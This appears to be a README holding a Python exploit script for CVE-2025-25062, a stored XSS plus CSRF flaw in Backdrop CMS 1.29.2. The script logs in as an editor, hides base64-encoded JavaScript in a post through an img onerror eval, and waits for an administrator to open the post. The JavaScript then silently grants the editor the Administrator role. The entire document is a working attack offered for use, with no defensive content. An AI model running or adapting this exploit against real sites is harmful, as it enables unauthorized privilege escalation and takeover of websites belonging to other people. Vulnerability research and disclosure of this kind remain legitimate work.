README.md
Rendering markdown...
"""
Exploit Title: Privilege Escalation via Stored XSS + CSRF in Backdrop CMS
Date: 2024-12-14
Author: Reid Hurlburt (rhburt)
Software Link: https://github.com/backdrop/backdrop/releases/tag/1.29.2
Tested on: Python 3.11.9
CVE: CVE-2025-25062
"""
import argparse
import requests
import re
import uuid
import base64
from datetime import datetime
import urllib.parse
SESSION = requests.session()
def construct_payload(post_html_body, editor_user_id, editor_username, editor_email):
url_encoded_editor_email = urllib.parse.quote_plus(editor_email)
malicious_js = f"""
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get', '/?q=user/{editor_user_id}/edit&destination=admin/people/list', true);
req.withCredentials = true;
req.send();
function handleResponse() {{
var build_id = this.responseText.match(/name="form_build_id" value="(form-[^"]*)"/)[1];
var token = this.responseText.match(/name="form_token" value="([^"]*)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/?q=user/{editor_user_id}/edit', true);
changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
changeReq.withCredentials = true;
changeReq.send('name={editor_username}&mail={url_encoded_editor_email}&pass=&form_build_id=' + build_id + '&form_token=' + token + '&form_id=user_profile_form&status=1&roles%5Beditor%5D=editor&roles%5Badministrator%5D=administrator&timezone=America%2FNew_York&additional_settings__active_tab=&op=Save');
}};
"""
b64_encoded = base64.b64encode(malicious_js.encode('ascii')).decode('ascii')
injection = f"<img src=x onerror='eval(atob(\"{b64_encoded}\"))'>"
return post_html_body + injection
def create_post(backdrop_url, editor_username, title, html_body, proxies):
response = SESSION.get(
f"{backdrop_url}/?q=node/add/post",
proxies=proxies,
)
form_build_id = re.search(r'name="form_build_id" value="([^"]*)"', response.text).groups()[0]
form_token = re.search(r'name="form_token" value="([^"]*)"', response.text).groups()[0]
now = datetime.now()
response = SESSION.post(
f"{backdrop_url}/?q=node/add/post",
files={
"title": (None, post_title),
"field_tags[und]": (None, ""),
"body[und][0][summary]": (None, ""),
"body[und][0][value]": (None, html_body),
"body[und][0][format]": (None, "filtered_html"),
"files[field_image_und_0]": ("", "", "application/octet-stream"),
"field_image[und][0][fid]": (None, "0"),
"field_image[und][0][display]": (None, "1"),
"changed": (None, ""),
"form_build_id": (None, form_build_id),
"form_token": (None, form_token),
"form_id": (None, "post_node_form"),
"status": (None, "1"),
"scheduled[date]": (None, now.strftime("%Y-%m-%d")),
"scheduled[time]": (None, now.strftime("%H:%M:%S")),
"promote": (None, "1"),
"name": (None, editor_username),
"date[date]": (None, now.strftime("%Y-%m-%d")),
"date[time]": (None, now.strftime("%H:%M:%S")),
"additional_settings__active_tab": (None, ""),
"op": (None, "Save"),
},
allow_redirects=True,
proxies=proxies,
)
edit_url = backdrop_url + re.search(r'<a href="(/\?q=node/\d+/edit)">Edit</a>', response.text).groups()[0]
return edit_url
def get_account_details(backdrop_url, proxies):
response = SESSION.get(
f"{backdrop_url}/?q=accounts/editor",
proxies=proxies,
)
editor_user_id = int(re.search(r'<a href="/\?q=user/(\d+)/edit">Edit</a>', response.text).groups()[0])
response = SESSION.get(
f"{backdrop_url}/?q=/user/{editor_user_id}/edit",
proxies=proxies,
)
editor_email = re.search(r'name="mail" value="([^"]*)"', response.text).groups()[0]
return editor_user_id, editor_email
def login(backdrop_url, editor_username, editor_password, proxies):
response = SESSION.get(
f"{backdrop_url}/?q=user/login",
proxies=proxies,
)
form_build_id = re.search(r'name="form_build_id" value="([^"]*)"', response.text).groups()[0]
response = SESSION.post(
f"{backdrop_url}/?q=user/login",
data={
"name": editor_username,
"pass": editor_password,
"form_build_id": form_build_id,
"form_id": "user_login",
"op": "Log in"
},
proxies=proxies,
)
assert response.status_code == 200
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--backdrop-url", required=False, default="http://localhost")
parser.add_argument("--editor-username", required=True)
parser.add_argument("--editor-password", required=True)
parser.add_argument("--post-title", required=False)
parser.add_argument("--post-html-body", required=False)
parser.add_argument("--proxy-host", required=False)
parser.add_argument("--proxy-port", required=False)
args = parser.parse_args()
if args.backdrop_url.endswith('/'):
backdrop_url = args.backdrop_url[:-1]
else:
backdrop_url = args.backdrop_url
if args.post_title is None:
post_title = str(uuid.uuid4())
else:
post_title = args.post_title
if args.post_html_body is None:
post_html_body = ""
else:
post_html_body = args.post_html_body
if args.proxy_host is None or args.proxy_port is None:
proxies = {}
else:
proxies = {
"http": f"http://{args.proxy_host}:{args.proxy_port}",
"https": f"https://{args.proxy_host}:{args.proxy_port}",
}
print(f"[*] Logging in...")
login(backdrop_url, args.editor_username, args.editor_password, proxies)
print(f"[*] Getting account details...")
editor_user_id, editor_email = get_account_details(backdrop_url, proxies)
print(f"[*] Creating post with title {post_title}...")
edit_url = create_post(
backdrop_url,
args.editor_username,
post_title,
construct_payload(post_html_body, editor_user_id, args.editor_username, editor_email),
proxies
)
print(f"[*] Done!")
print()
print(f"[*] Once an Admin visits the following URL, you'll be granted the 'Administrator' role: {edit_url}")